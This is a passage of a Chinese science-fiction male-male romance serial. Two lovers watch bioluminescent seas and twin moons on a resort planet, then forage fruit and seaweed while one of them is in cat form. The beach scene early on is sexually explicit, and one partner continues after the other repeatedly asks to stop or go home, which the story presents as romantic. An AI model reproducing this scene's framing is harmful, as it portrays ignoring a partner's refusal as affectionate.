思索片刻，江寻站起身来，目光对上微笑看着他的陆厌离，语气里带着些好奇：“这海浪里面的蓝色荧光，应该是某种自身发光的藻类或者浮游生物吧？这种现象倒是在其他地方也看到过。不过这沙滩上的白光……”他捻了捻指尖的细沙，“和这种白色沙子本身的材质有关系？这是什么？” 陆厌离原本还带着点小得意，准备接受江寻的惊叹与追问，此刻一听到他的话语，表情瞬间失落下来，有些丧气地撇了撇嘴，嘟囔起来：“……你可真是……我还想吊吊你的胃口呢，结果就被你一眼看穿了。” 他叹了口气，恨恨捏了捏江寻的手掌，抱怨起来：“要给你们这些搞研究的学者制造出点浪漫来，可真是难啊。” 江寻看着他这副模样，不由失笑，抬手揉了揉他在月光下，越发灿烂的银灰发丝，“我的确很惊讶呀！这里真的非常美，也非常浪漫。”说着，对上陆厌离控诉地看向他的目光，低沉一笑，凑到他唇边印下一吻。 这个表态轻易就哄好了陆厌离，让他忍不住泄出一个小小的微笑来，也不再卖关子，解释起来：“你猜得没错，这海浪里的蓝光确实是一种这个星球上特有的发光浮游生物。它们白天的时候都沉在海面下，直到晚上才会浮上来。” “至于这沙子……”他从江寻手里捏起一撮白沙，放在眼前捻了捻，“这其实不是沙子，而是一种非常微小的珊瑚生物的骨骼。它们还活着的时候，这种骨骼是透明的。死后，这些很轻的骨骼便被海浪推上了沙滩，堆积混合之下，最终形成了这片独特的白沙滩。” “它们的骨骼结果非常特殊，能吸收储存一部分太阳能，它们活着的时候就以太阳能为生。吸收了太阳能的骨骼，就会散发出这种像珍珠一样的微光来。这些微光其实在白天的时候也有，只是在强烈的太阳光下看不出来，到了晚上才显露出来。” “果然如此。”听到实情与自己猜想的一致，江寻的好奇心终于得到了满足。也不再去深入研究，而是笑着拉起陆厌离的手，一起在这梦幻的海岸边漫步起来。 漂浮着幽蓝光带的海浪，随着两人的步伐，在脚下绽放，每走一步，便会踏碎一条光带，漫开一片荧光碎屑，仿佛他们不是行走在一道寻常的海岸线上，而是踏着璀璨星河。 两人牵着手沿着发光的海岸线慢慢走着，不必过多言语，心中便是满溢的脉脉情意。眼神的交汇，指尖的轻触，都能拨动心弦。 漫步片刻，夜色更加深沉，而天上的月光更盛，明月跃升得越来越高，江寻这才发现了另一个奇异的地方。 “这里居然也有两轮月亮？”看着头顶上这轮大月，与更偏西边的一轮稍小一些的月亮，江寻惊呼出声。 他没想到，这颗小型的度假星，居然也与寂静星一样，有着两颗卫星环绕。 不过与寂静星上不同的是，这里的两轮月亮都是皎洁的冷白色，而不是像寂静星一般，是两轮红月。 更奇妙的是，江寻发现，这两轮月亮并非全部沿着星球自转的方向同向而行，而是罕见地沿着相反的轨迹缓慢移动着。一轮刚从东边升起，另一轮却正向西边沉落下去。在夜幕下看去，两轮明月，好似在夜空中互相奔赴。 思考片刻，江寻眉头一挑，看向陆厌离，“这两轮月亮，应该不都是自然生成的吧？” 陆厌离闻听江寻的疑问，仔细回忆了一下以前看过的资料，这才无奈地看向江寻：“又被你猜到了。我记得档案里提到过，这里只有大的那轮月亮是与这颗荧珠星一起自然生成的。另外一轮小一点的，原本是一颗流星，是途径这片星空的时候，被荧珠星的引力捕获下来，之后，才成为了它的另一颗卫星。” “外来的……”听到这轮月亮的来历，江寻微微一怔，而后不知想到了什么，突然笑出了声来，“那这两轮月亮，多像是我们两个人呀。” 迎着陆厌离疑惑看过来的视线，江寻轻声说道：“你就是那颗循规蹈矩，始终围绕着联盟运转的大月亮。而我，就是从那遥远的天外诞生，专为了你跨越无尽星河，奔赴而至的另一轮月亮。自从遇见了你，我漫无目的的旅程才找到了终点。从此，每一天，每一个小时，每一分，每一秒，都在向你不停奔赴。” 陆厌离怔住了，只觉得心弦剧烈震动起来，面上迅速浮起淡淡的红晕，嘴角泄露出一个快乐又带着点点羞涩的笑意，小声嘟囔起来：“你们这些学者，搞起浪漫来，也很厉害嘛……” 随即，他的手指握得更紧了些，碧绿的眼眸在明亮的月光下，泛起粼粼波光。 他微侧过头，看着江寻眼中盈满的笑容，再也克制不住心中的情意，上前一步勾住江寻的脖子，微微用力把他拉下来，一抬头就主动吻了上去。 江寻此时却像是使坏似的，动也不动一下，任由着陆厌离在那里亲亲舔舔，就是不主动回应。垂下眸子就这么在最近的距离里，笑看着陆厌离的动作。 陆厌离亲了半天也不得法，仰得脖子都酸了，疑惑地睁眼一看，却与江寻的一双笑眼正好对上，登时气恼地推了推他：“你……” 刚要开口抱怨，上方的男人此时却突然揽住他的腰肢往自己怀里一扣，托起他的后脑沉沉吻了下去。 波涛翻涌，掩住了啧啧水声。 良久唇分，陆厌离这才呼哧呼哧急促地喘起气来。 “都多少次了，怎么还学不会边亲边呼吸呢？”江寻的唇仍然流连在陆厌离嘴边，说话时嘴上还一直轻啄着。 陆厌离本就被憋得脸红，又听到这话，脸上更羞，“谁要学这个！”一句话甩下，推了江寻一把，转身就要往回走。 刚迈出一步，却被身后伸出的手臂揽在腰间，又拉了回来，“这么快回去做什么？” “看完夜景了啊，现在都半夜了，不回去做什么？”陆厌离靠在身后人胸前，侧头疑惑地问出一句。 “好不容易到了这种没人的地方……”江寻低下头，对陆厌离露出一个意味深长的微笑，揽在他腰间的大手，适时地摩挲几下。 “你……”陆厌离瞬间睁大眼睛，面上爆红，“你疯了！这是在外面！” “这里又没有人，在这里，还是回房间里，有什么不一样的？”江寻低沉一笑，目光流连在陆厌离被月光照的白生生的肌肤上，手指有些发痒似的摩挲了一下。 看着陆厌离的耳廓在自己眼前以肉眼可见的速度漫上一层潮红，终于忍不住，一口咬了上去。 “啊！”陆厌离一时不察，半边耳朵就此沦陷。瞬间，比涌上耳尖的血流更加温热的触感就笼罩了上来，身子顿时一抖。 可这还仅仅是个开始，下一刻，一双大手抬起，尾指在胸前衣扣上一挑，便灵巧地解下一粒扣子，随后，整只手潜入了阴影中。 陆厌离只感觉某处好似被触碰到，瞬间仰头长喘一声，失了力气。 咬着耳朵的唇渐渐向后移去，衔住后颈的衣领向下一扯，整个肩头便被敞露在了月光之下。 陆厌离只听耳边传来一声低沉笑声，下一秒，脚下一空，整个人居然就被卡住腰，离地抱了起来。 随即身下一空，宽大的沙滩裤便“啪嗒”一声落了地。 他真的要……陆厌离眼眸大睁，一双碧绿眸子里盈满极度的羞耻，再顾不得其他，剧烈挣扎起来，“别……别在这里，等回去……江寻！” 已经到了这种时候，江寻又岂会让他逃脱？手臂拦住他腿弯一提，翘起那白莹莹的一团。 “低重力环境……真不错，一只胳膊就能把你整个抱起来了啊……”江寻满意地喃喃出声。 随即另一手并指为一，向下探去。 “唔——！江……”陆厌离眼眸一瞬大睁，顿时失去了反抗的力气。 陆厌离整个脊椎都抖了起来，此时却听到江寻这句话，瞬间眼眶一湿，颤抖着挤出一句话来：“谁……谁叫你这种时候用这个？！” 江寻不语，只是低笑一声，再加一指。 “江……江寻，回家……回家去好不好？”陆厌离的声音整个低弱下来，甚至混杂进了一丝泣音。 江寻眉头一挑，抽回手来，搓了搓指间湿意，“你还能等到回去？” 话落，两手各自拦住一只腿弯。 陆厌离浑身一僵，猛地仰头靠上江寻肩头，面上一片空白。张嘴嗬哧一声，却什么声音也发不出来。 江寻满足地喟叹一声，侧过脸来，怜惜地在陆厌离溢出眼泪的眼角亲了亲，却丝毫没有动摇。 口中还不住地赞叹出声：“低重力……可真方便，就是……不如以前那么深了……算了，我自己克服克服吧……” 莹莹月光下，可恶的入侵者却把星球的主人欺负得够呛。 不知不觉，天空中的两轮月亮逐渐靠近，渐渐重合起来不分彼此。当双月在夜空正中央交汇的那一刻，整个天空上突然泛起了一层朦胧的光雾。 汗湿的额头上落下一丝凉意，月光将那团软肉映照得莹润生辉，江寻抬头向天空上望去。 只见无垠的夜空之中，此时却出现了一番奇景。 无数细碎的冰晶正从夜空中缓缓飘落下来。每一粒晶莹的冰晶，都在翻滚之间折射着月光与海面上的点点蓝光。 点点凉丝丝的星光就这样飘飘摇摇地从天幕上洒落下来，将整个天空化作一片流动的星海。 江寻低头看向陆厌离，可怜的星球主人，此时正头朝下无力地趴伏在闪着珠光的白沙滩上，一双眼睛半睁半闭，眼眶也红红的，已然失了神采。 没良心的侵略者，此时却状似好心地一笑，就着这个姿势把他翻转过来，面向天空，“厌离，看看天空，好漂亮。” 他的突然翻转又激得陆厌离溢出如泣如诉的一声低吟，一滴眼泪不受控制地从眼角滑落下来。 他好像听见了，却又好像已经失去了意识只剩本能。 点点冰晶落下，触到他滚烫的皮肉上，倏然便化为一丝清凉。在这梦幻的星雨中，陆厌离终于找回了一丝神志，睁开了迷迷茫茫的眼睛，急促喘息着望向天空。 “这是什么？”江寻兴致勃勃地抬手接住一粒冰晶。 “这是……”陆厌离刚刚张开口，就有兜不住的一点涎液顺着唇角流了下来，可他此时却也顾不上了，只因为那个坏心眼的家伙，又在此时猛地动作起来，“你……这是，是星泪雨……” 陆厌离一句话断断续续地说出口，便又陷入了迷乱之中。 “星泪雨……”江寻此时却还能好整以暇地抬头，再次看了一眼天空，露出一抹微笑来。 “你看，连月亮都在祝福我们……”江寻伸手托起陆厌离的上身，在这无边的星泪中，再次吻上了他。 这一次，陆厌离终于有了反应，即使眼角还浸着泪水，仍然虔诚地回应起来。 一吻过后，他睁着那双迷醉的眼睛看了一眼天上融为一体的双月，竟然不再压抑自己的声音，手臂紧紧环住江寻的脖颈，挂在他身上低吟起来。 点点星泪飘洒在两人紧拥的身上，幽蓝海浪一波一波冲刷上来，浸没身下，茫茫白沙在两人身后绵延至无限远处。 在这天地的见证下，江寻终于感受到了陆厌离全身心的放松。 当最后的时刻来临时，陆厌离终于不再克制，随着江寻的闷哼，仰靠在他侧颈，哼出一声长长的呜咽。 江寻轻轻抚摸着他汗湿的发丝，感受着他身体上残余的颤抖。空中，仍然有点点冰晶在不停飘落，触到他们发烫的皮肉时，便化作丝丝凉意，努力挽回着两人的理智。 “冷吗？”江寻轻轻拂过陆厌离汗湿的发丝，低声问道。 陆厌离摇了摇头，却更紧地埋进他怀里。过了一会儿，一道闷闷的声音才从江寻肩头传来：“你真的是为我而来的吗？” 江寻轻抚着他的头发，抬起他的面颊，看向那双盈满了期待，又夹杂了丝丝缕缕忧郁的眼睛，“我穿越了万千星海而来，”他认真地说道，“只为你一人。” 陆厌离的眼睛微微睁大，慢慢地泛起一层浅浅莹光。他没有再说什么，只是重新靠进江寻怀里，轻轻点了点头。 空中的双月开始渐渐分离，沿着各自的轨道开始奔赴下一场相遇。星泪雨渐渐停息下来，海浪依然泛着点点蓝光，沙滩依然散发着珍珠般的光晕，然而夜空中那璀璨的星海已然慢慢消散。 “回家吧。”江寻说道。 陆厌离圈上他的脖颈，点了点头。正要从他身上下来，却被江寻揽着，再次抱了起来。 “你！”感受到肚子里再次烫起来的东西，陆厌离大窘，“你干什么，放我下来。” “今天累到你了，就让我辛苦一点，抱你回去吧。”江寻嘻嘻一笑，揽住恼羞成怒的爱人，脚下却已然动了起来。 “谁要你……啊……你这样辛苦啊！”陆厌离羞怒地捶在江寻肩膀上，却在对方一动之后，再一次失去了声音。 江寻在笑闹中，手指无意识地轻抚上陆厌离后腰。那里，还有着一个未完成的刻印在等着他补完。 他知道陆厌离心中仍有隐忧还没有完全消失，但是没关系，他有着足够的耐心，也有足够的能力，他相信他们很快就会迎来完成刻印的那一天。 毕竟，他们就像那天空中的两轮月亮，无论轨道如何，终会不停地再次交汇为一体—— 作者有话说：蜜月旅行——月下漫步[让我康康] 第219章 江寻是在一片暖融融的触感中醒来的。 迷迷糊糊睁开眼， 第一时间映入眼帘的却是一片葱郁绿意，恍惚之间，竟有种回到了寂静星的错觉。 下一秒， 耳畔传来一阵温热的气息，腰间也跟着一紧。低头看去，只见一条手臂正紧紧环在他的腰间，再靠上一些， 一颗脑袋整个埋在他的颈窝里， 细细的温热吐息， 随着呼吸轻轻拂过他的耳廓，散乱的银灰色发丝翘起几缕， 蹭在他的下巴上，带来一阵细微的痒意。 是陆厌离。 脑子还没完全清醒过来，嘴角却已经下意识地扬起了笑意。 江寻低头， 轻轻在他发间吻了吻， 而后拨开他额前的发丝看了看那人沉睡的脸庞。他的眉心微微蹙起，眼角还带着些红，嘴唇倒是十分润泽， 看起来一副刚刚哭过的可怜样， 但昨晚那副被欺负狠了的模样已经不见了踪影。 昨天到了后面的时候， 陆厌离彻底放开了身体上的反应， 也不顾幕天席地了， 高低起伏的呻吟之间， 尽显热情， 引得江寻也跟着激动了起来，搂着他缠绵了许久，难得尽兴。 等回到家的时候， 天都快亮了。对方整个人已经软软挂在他身上，满脸都是汗水泪痕，连涎水都湿哒哒地淌了一脖颈。 江寻又专门哄着他喝了不少盐水，才把人收拾干净抱上了床。 那个脆弱的地方根本没经历过这样高强度的使用，躺下没多久就微微肿了起来，让江寻又心虚地趁他昏睡过去悄悄给他上了药。 此时想起这事，他忙偷偷伸手到对方身后探了探，却惊讶地发现，这会儿居然连那处微微肿起的地方，也都完全复原了。 江寻不禁对哨兵全面又强悍的恢复能力生出几分感叹。 陆厌离在睡梦之中，感觉自己抱着的“枕头”突然动了起来，随即，一点凉意袭上身后。 仍有些火辣的地方被这凉意一触，顿时不由自主地收缩，不自在的感觉，让他下意识往前面温暖的地方躲了躲。 直到耳边传来一声又一声清晰有力的心跳声，这才让他迷迷糊糊地醒转过来。 一睁开眼，就对上了江寻含笑的眼眸。陆厌离下意识回以一个笑容，就要向前凑去。 刚一动弹，整个下身却传来一阵酸麻。 脑子里一个激灵，霎时间，昨晚发生的一切闪过脑海，陆厌离眼眸微微睁大，整个脸颊连带着耳根都唰一下红了起来。 “江寻！” 没有继续像往常那样依偎过去，而是恼羞成怒地一拳锤上对方胸口。 理亏的男人讪然一笑，忙顶着对方控诉的目光把人搂进怀里，又是揉又是哄，安抚了好半天，这才让生气的爱人暂且收起了爪子。 “好了好了，不生气了，今天我全听你的，所有的活儿都由我一个人来干，就当惩罚我，好不好？”江寻一边陪着笑拍抚着陆厌离的后背，一边许下承诺。 “哼！”这么一会儿下来，陆厌离刚醒来时的那股气恼也消得差不多了，想想自己昨天在情事中的反应，他也有些脸红。见江寻说到了这里，也就哼唧一声，顺理成章地跟着台阶下来，“那今天要做什么？” “今天我们出去弄点新鲜食材怎么样？”江寻想了想提议道，“虽然保险起见带了不少便携餐盒，但既然都出门了，要在这里住好几天呢，一直吃那个多少有点没意思，我们去搞点本地特产来尝尝？” 陆厌离眼睛微亮，说起这个，来了点精神：“我之前在这里留下了些装备，简易的弓弩、钩索、还有渔网陷阱什么的都有，我们可以去打点猎物，还能抓点水产吃。” “唔……那肉食就不缺了，蔬菜之类的呢？这里有海藻海带之类的东西吗？”江寻盘算起来。 “啊……”一提到蔬菜，陆厌离的眉头下意识就皱了起来，低声嘟嘟囔囔，“那些又不好吃……” 心里是这么想的，可对上江寻挑眉看过来的目光，他还是老老实实交代起来：“稍远一点的浅海礁石那边，我记得有一些海藻海带之类的吧，不过不知道能不能吃。还有一种长得像芦苇一样，生在浅摊里的植物，茎秆像芹菜，很嫩很脆，味道还不错……” 他顿了顿，偷偷瞄了瞄江寻的表情，见他依旧笑眯眯地看着自己，才不情不愿地接着补充道：“森林里……应该也有些能吃的野菜吧。不过我一个也不认识，你得自己去找找看了。要不我们直接吃水果吧？我以前在这边种了不少热带水果的，也不知道现在长成什么样了，我们去采水果吃吧！” 陆厌离说完，满眼期待地看向江寻。 “水果啊，可以，我们待会儿一起去看看。”眼见着陆厌离喜笑颜开，江寻又悠悠补充道，“不过膳食纤维也得补充，野菜什么的也得采集一些回来。” 眼看着陆厌离的嘴巴，随着自己的话，不高兴地微微噘了起来，江寻噗嗤一笑，“好了好了，知道你不喜欢吃这些，那野菜就暂时不找了。你说的那个海芹菜，你是不是觉得还不错？我们去采点那个好了。” 听到这里，陆厌离面上终于明媚起来，绽出一个大大的笑容，用力点头，“嗯！” “那我们现在起床？”江寻笑着捏了捏他的手指。 话是这么说，可昨天实在是折腾得有些狠了，两人又在床上磨蹭了好一会儿，直到太阳攀上了树梢，他们这才携手挣脱了被窝兽的“围剿”，爬了起来。 既然说好了今天全由江寻来动手，陆厌离连一件装备也不背了，就带着点小得意坐在一旁，看着江寻把各种便携装备挂上腰带。 看着看着，突然开口：“有点像我们还在寂静星的时候。” 江寻动作一顿，抬头看看陆厌离，又看看被自己扣在腰间的折叠腰包，和挂在腰带上的伸缩渔网等物，嘴角轻轻弯起：“嗯。那个时候，某人还一直假装自己是只猫咪，哄我抓鱼养着他呢。” 陆厌离脸一红，如今再听到这样的话，心底却没有滋生出不安来，反而小声嘟囔了一句：“那又怎么样？你现在也得抓鱼养着我！” 江寻看着他这副模样，心里非但没有不满，反而生出些惊喜来，直接应下：“是是是，猫猫做什么都是对的，我本来就应该好好养着我家猫猫的。” 陆厌离被江寻这干脆的回应说得心中一甜，脸上立马漾开一个笑来。与江寻对视一眼，微扬下巴轻哼一声，转身当先出了门。 “我们这几天就吃水产吧？在海边这些都很容易弄到，你也喜欢吃。”顺着绳梯落地后，江寻想了想，提议道，“今天就先去你说的水果种植区，然后去采海芹菜和海带什么的，最后再去抓鱼。这样等回家的时候，鱼还能活着，可以把多余的暂时养起来，随吃随抓。” “行。”陆厌离闻言心下一喜，面上却丝毫不显，只是答应起来格外干脆，定下了目标，拉着江寻就往森林方向走去。 他当初规划出的种植区在生态穹顶的另一边，过去的路上，要穿过中间那片小树林。 一踏入林间，光线顿时昏暗了下来。头顶上层层叠叠的树叶将阳光遮得严严实实，可在这略显昏暗的环境里，另一种颜色却显眼了起来。 江寻有些惊讶地踩了踩脚下。 面前的林间地面上，覆盖着一层闪着微弱蓝光的厚厚苔藓地衣。这些苔藓也不知是什么品种，在这片环境中如鱼得水一般，长得格外茂盛，星罗棋布地铺满了他们目所能及的一大片林地之间。 厚厚的地衣，踩上去的时候触感柔软而富有弹性，几乎听不到任何脚步声。配上此地的低重力环境，令江寻每一步走起来都如跳跃一般，格外省力。 陆厌离跟着江寻往里走了几步，同样感受到了这种沙沙的独特触感。他踩了踩脚下柔软的地面，又抬头看向头顶那些从高处的树干上垂落下来，在林木之间交织成网的藤蔓，眼睛亮了亮，忍不住有些难耐地看了看江寻，随即似乎又感觉有些不好意思，收回了目光，可指尖还是无意识地蜷缩摩擦起来。 江寻一见他这模样，立时明白了过来，轻笑一声，“想变回小树的姿态就去呀，这里又没有别人。” 几乎是在他话音落下的瞬间，陆厌离眼里就涌出了满满的喜悦，周身精神力场一动，身形便马上模糊了起来。 下一刻，一身衣物委顿在地，一只烟灰色的猫猫猛地从那团模糊的黑烟中轻盈跃出。 它落在面前一大片肥厚的苔藓上，用爪子朝下按了按，满意地听到苔藓被压扁时发出的一阵细微滋滋声，而后，又被弹起的苔藓顶了顶肉垫。 脚下舒服的感觉，让猫猫喜不自胜地原地转了两圈，回头朝着江寻长长“喵——”了一声，便迫不及待地扭身向着旁边的树干一跃。 尖锐的指甲“唰”一下张开，紧紧勾住树干，矫健的四肢一个发力，整道灰影就如闪电一般顺着树干窜了上去，两三下便跳上头顶纠缠成网的藤蔓。随即，就欢快地在垂挂下来的藤蔓间腾挪跳跃起来，倏忽东西。 江寻弯腰捡起地上散落的衣服，仔细拍去上面沾染上的灰尘，叠好收进折叠腰包里，抬头看着那道在林间自由穿梭的身影，心中那股回到寂静星的既视感更强烈了。不由笑出声来，循着猫猫奔跑的方向一路跟了上去。 能看得出来，这个环境，实在令恢复了猫形的小树格外兴奋。一开始，他还在江寻身边跑来跑去，一会儿从树叶之间探出脑袋来瞅瞅他。一会儿又不知从哪个犄角旮旯里冲出来，绕着他脚边跑两圈。 没过几分钟，他就玩疯了，也不知听到了什么，突然扭头向着一个方向凝视了一会儿，攀着藤蔓跑跳间几个起落，整只猫就彻底消失在了层层叠叠的绿意之后。 江寻开始还能循着他的身影往前走；等眼前失去了他的踪迹，感应着他精神力波动的方向也能走上几步；可再过一会儿，连精神感应都捕捉不到他的存在了，只得停下了脚步。 他可不认得去种植园的路。 无奈又好笑地摇了摇头，江寻抬起手腕，在那个陆厌离亲手为他戴上的手环上轻点了两下。 遥远的地方，隐约传来一声惊呼。 江寻一笑，关闭了手环。 几乎没等几秒，伴随着一阵由远及近的草叶摩擦声，与啪嗒啪嗒的脚步声，头顶上绿叶掩映之间，突然出现一双碧绿兽眸。 下一秒，兽瞳的主人凶猛地从高处向着江寻的方向一跃而下，携着巨大的惯性，一下子将江寻扑倒在了厚厚的苔藓上。 随即，一只脚掌往江寻胸前一踏，雄赳赳气昂昂地把他踩在了脚下。 江寻有些惊讶地被扑倒在地上，先是一怔，接着，这幅有些熟悉的画面，让他飞快从脑海深处挖掘出了两人初遇时的场景。 再看向压在自己身上，皮毛油光水滑的烟灰色大猫，他显然也是想起了那番改变两人命运的相遇。一双兽瞳中浮现出人性化的笑意，对上江寻同样充满了感慨看过来的目光，头一低，就在他下巴脖颈上亲亲密密地舔舐起来。 江寻笑着任由身上的大猫对自己表达亲热，双手抚摸在他顺滑的毛发上，又勾着他高高翘起的尾巴玩弄了好一会儿，这才拥着他坐起身来，没好气地轻轻点了点他湿润的鼻尖：“没良心的小东西，自己玩开心了就把我忘了，给我一个人丢在这儿，嗯？” 猫猫喉咙里发出咕噜咕噜的声音，娇娇地叫唤着，踩上他的膝盖搂住他的脖颈，伸长脖子一下下舔着他的下巴，故意用湿漉漉的鼻尖从他耳后敏感的皮肤上蹭过去，讨好中还带着几分顽皮。 江寻被他这副模样逗得没脾气了，笑着把他抱进怀里，埋进他毛茸茸、白花花的肚皮上，狠狠亲了亲。 小树软软地反抗着，四只爪子软软拍在他的脸上，又像是抗议又像是调情。待他亲完，立刻翻了个身，调整了个舒服的姿势在他怀里窝好，爪子勾住他的衣襟，发出心满意足的呼噜声，不再乱跑了。 江寻笑着戳了戳他的脑门，抱起怀里这团温暖的毛茸茸，按着他指示的方向，任劳任怨地继续朝着森林的另一端走去。 在林中走了好一阵，拨开面前最后一丛挡路的高草，那片传说中的种植区终于出现在江寻眼前。 与刚才那片自由生长的森林不同，这边的地块明显经过人工整理和规划。地块上除了果树之外，没有什么肆意生长的大型植物，只有星星点点的野草点缀在田垄之间。 几种星际中常见好养活的热带果树与浆果灌木丛，在这里错落生长着，经过几年的自由生长，已经变得郁郁葱葱。累累成熟的果实挂满枝头，压弯了树桠。更有成片成片的树莓与沙棘丛穿插其间。一看便知，在陆厌离离开的这段时间里，它们被生态穹顶照顾得很好。 然而，长得太好也带来了一些问题。 许多已经熟透的果实，在他们到来之前便已坠落在了地面上。层层叠叠的高糖分果实，在温暖的环境中发酵，让这片空间被一种甜得发腻的气味所笼罩，稍微走近几步，江寻甚至闻到了一股甜酒的味道。 从刚才开始就一直乖巧地窝在怀里的猫猫，立刻难受地动了动，湿润的鼻头皱起，猛地打了个喷嚏，而后发出一声难受地哼唧，扒拉着江寻的衣襟，将整张猫脸都埋了进去。 这里的味道对江寻来说都已经很重了，更不要说嗅觉更加灵敏的哨兵了。 看到他的反应，江寻立刻明白了过来，空着的那只手安抚地摸上猫猫的后颈，随即，一丝温和的精神力，顺着他的指尖流入猫猫体内。 顿时，一道柔和的屏障被撑了起来，陆厌离只觉鼻间那种刺激的气味一淡，整个嗅觉系统似乎都迟钝了下来。 敏锐地察觉到怀里的毛团子紧绷的身体放松下来，脑袋也不再死命往自己衣襟里躲了，江寻这才放下心来。 想要把猫猫放下，好去采集水果，却见他两只前爪牢牢勾住自己的肩膀，死活不肯下地。 “嗯？怎么了？”江寻疑惑问道。 怀里的猫猫紧紧扒着江寻的脖颈，倒吊着也不肯下去，往地面上瞥了一眼，嫌弃地长长喵了一声。 江寻低头看看满地黏糊糊的烂果子，心下有些了然，好笑地轻嗤一声，却也不再勉强。调整了一下姿势，让猫猫踩在他的后脖颈上，像个围脖一样盘在他脖子上，这才空出双手，开始动手采摘。 江寻在这边采着果子，挂在他身上的猫猫也丝毫没闲着。一会儿用尾巴在他臂弯边甩一甩，表示自己的嫌弃；一会儿又喵喵叫着推着江寻的脸颊，让他看向身边的另一种果子。理所当然地指挥着人类为他服务着。 在这种小事上，江寻一向不会在意。小树怎么指挥他就怎么做，这种听话的态度，直让那猫猫更加神气起来，一时之间，喵喵喵的叫声不绝于耳。 江寻笑着再次听从指挥，掰扯下一颗蜜果。 可是，也许是这颗果子熟得太透了，又或者是江寻用的力气太大了。蜜果刚刚从枝头落进他手里，便破碎开来。顿时飘出一阵浓郁的甜香味道。 “唔……碎了，有点可惜。”江寻遗憾地摇摇头，闻着手上甜蜜的味道，忍不住把剩余的果肉送进嘴里尝了尝。 “嗯，不过，果然很甜。” 刚尝了一口，一抬眼，却见原本还趴在他脖子上的小树，不知什么时候半坐在了他的肩膀上，歪着脑袋，一双碧绿猫眼一眨不眨地盯着他，粉红色的鼻头往前探了探，微微翕动嗅闻着什么。 “怎么？你也想尝尝？”江寻好笑地问，抬手将剩下的一点果肉凑到他嘴边。 小树立刻低下头来，就着他的手小口小口舔食起来。那一小块果肉吞食下肚，还意犹未尽地舔上他的手掌。带着倒刺的小舌头，一路从江寻的指尖舔到手腕，连指缝间都被他舔得干干净净。 吃饱喝足，正要重新趴回去。江寻此时却是一翻手，两指一夹就捏住了他的小舌头。 “你这个家伙……仗着自己现在是猫猫形态，就敢这么招惹我。”江寻惩罚般捏了捏手中的小舌头，抬手弹了下他的脑门，“我早晚有一天让你人形的时候也给我舔一遍。” 猫猫瞬间一惊，睁大了圆圆的眼睛，先是有些心虚害怕。没过几秒，似乎是想起了自己现在的形态，立刻色厉内荏地冲着他喵呜喵呜地叫了起来。 只是嘴上控诉还不够，一低头，就把刚吃完了水果的脑袋凑到江寻胸前的衣料上一阵磨蹭，直到看到那片浅色布料，被自己留下一片红色湿漉漉的痕迹，这才像是报了仇一般得意洋洋地哼唧一声，重新跃上了他的脖颈。 江寻看着自己被当成擦嘴布的衣襟，无奈一笑，只好由着这个变成猫形以后格外孩子气的家伙胡闹。 一人一猫一番打闹，等采集够了足量的水果，江寻的衣襟上已经又红又黄，布满了猫爪印与被爪子勾出的丝线。盘在他脖颈上的猫猫也没有幸免，一身顺滑长毛被蹂躏得乱糟糟，白白的肚皮上也同样印上了沾着果汁的大手印。 “好了好了，休战休战！”江寻笑着把炸毛的猫猫拢进怀里，也不顾他身上都是被自己抹上去的果汁，“都快中午了，我们赶紧去海边，抓了鱼回家给你做饭。” 听到抓鱼，猫猫眼睛一亮，这才停下了反击的爪子，最后哼唧一声，任由江寻把他从脖子上抱进怀里，离开了这片溢满了甜腻味道的种植区，向着海岸边走去。 第220章 据陆厌离所说， 他之前看到过的那种海芹菜，还有海带等物，就在白沙滩另一头的浅水礁附近。 江寻抱着猫猫先走到白沙滩边， 又沿着海岸线一路往另一头走，没过多久，一片布满黑色礁石的浅海区就出现在了视野尽头。 和他们昨天游玩的那片白沙滩相比，这里显得更加粗犷原始些， 生长的水生植物与栖息的水产也与另一头大有不同。 走到近前， 江寻在附近的礁石周围扫了几眼， 就轻易找到了他们的目标。 “我过去看看，你在岸边等我？”江寻抚了抚怀里安安静静的猫猫头。 陆厌离的猫形态一身长毛， 每次沾了水都很不容易弄干，特别是这种海水，干了以后身上还会残留下盐粒， 更是令他深恶痛绝的存在。从在寂静星的时候起， 他就不喜欢碰水。 “喵呜~”小树此时却叫了一声，依然紧紧扒在他身上，寸步不离， 一点儿也没有要下去等待的意思。 “嗯？你也要一起？”江寻有点意外地问， “等下空不出手抱你的， 你要一起下去， 可能会沾到水。” 猫猫却还是充耳不闻， 就是要粘在他身上。 江寻对今天猫猫格外粘人的表现感到些许奇怪， 不过， 问题也不大，大不了等会儿多看顾着他一点。 耸了耸肩，江寻也不再纠结， 把猫猫又抱高一些，脱下鞋子留在沙滩上，直接涉水而入。 可能是这里礁石较多，还有些背阴的缘故，海水都比另一头更清凉一些。 没走两步，江寻就感受到了丝丝缕缕的海藻从脚背上滑过的微痒感。他没有在这里停留，继续往深处走，很快在一块巨大的礁石上找到了目标——附着在礁石边缘的一圈深色长海带。 与他们平时吃到的那种人工养殖出来的肥厚海带不同，这里天然生长的野生海带，显得更加细腻柔软一些。黄褐色的长长海带扎根在礁石的缝隙里，像是一条条淑女裙摆上的花边一般，随着一波波海水轻轻翻卷着。根茎上还缠绕着不少颜色鲜嫩的绿色海藻。 而在更前方一些，由礁石围成的一片浅海沙地里，江寻也找到了此行的另一个目标——一丛丛茎秆笔直，叶片细长地在浪花中摇摆的植物。那想必就是陆厌离曾经提到过的“海芹菜”了。 江寻往前几步，先是用终端扫描了一下面前这个“海芹菜”，确认了它的确可食用后，这才随手掰下一小段，放进嘴里尝了尝。 一口咬下便是“咯吱”一声，口感异常脆嫩。味道带着点微咸，汁水却很充沛，整体尝起来十分清新，除了稍微咸了点儿，果然是哨兵会喜欢的那种清淡味道。 江寻满意地点了点头，让猫猫踩在他的肩颈上，空出双手开始采集。他们两人只在这里呆一周时间，他收拾得也不多，每种收集了一大把就停了手，甩干上面的海水之后，把他们分别团起，放进折叠腰包的不同隔层里。 在他忙碌的这段时间里，也不知是怕水还是怎么的，刚才在果园里还活泼泼的小树，这会儿却一直安静又乖巧。就那么一直抱着江寻的脖颈攀在他的肩头，一双碧眼认认真真地看着他的动作，像个尽职尽责的小监工。 “好了，这些应该够我们这几天吃了。”江寻直起腰来，甩掉手上的水渍，又从腰上解下伸缩渔网，向水稍微深一些的地方走了几步，“再抓点鱼虾，我们就回家去。” 一听到抓鱼，刚才还安安静静的猫猫，像是一下子被注入了活力，立马兴奋起来，在他的耳边不住“喵喵”叫着，也不知在说些什么。 “好了好了，知道知道，我这就去。”江寻被猫猫叼着耳朵往前拽，无奈地加快了手上的速度。 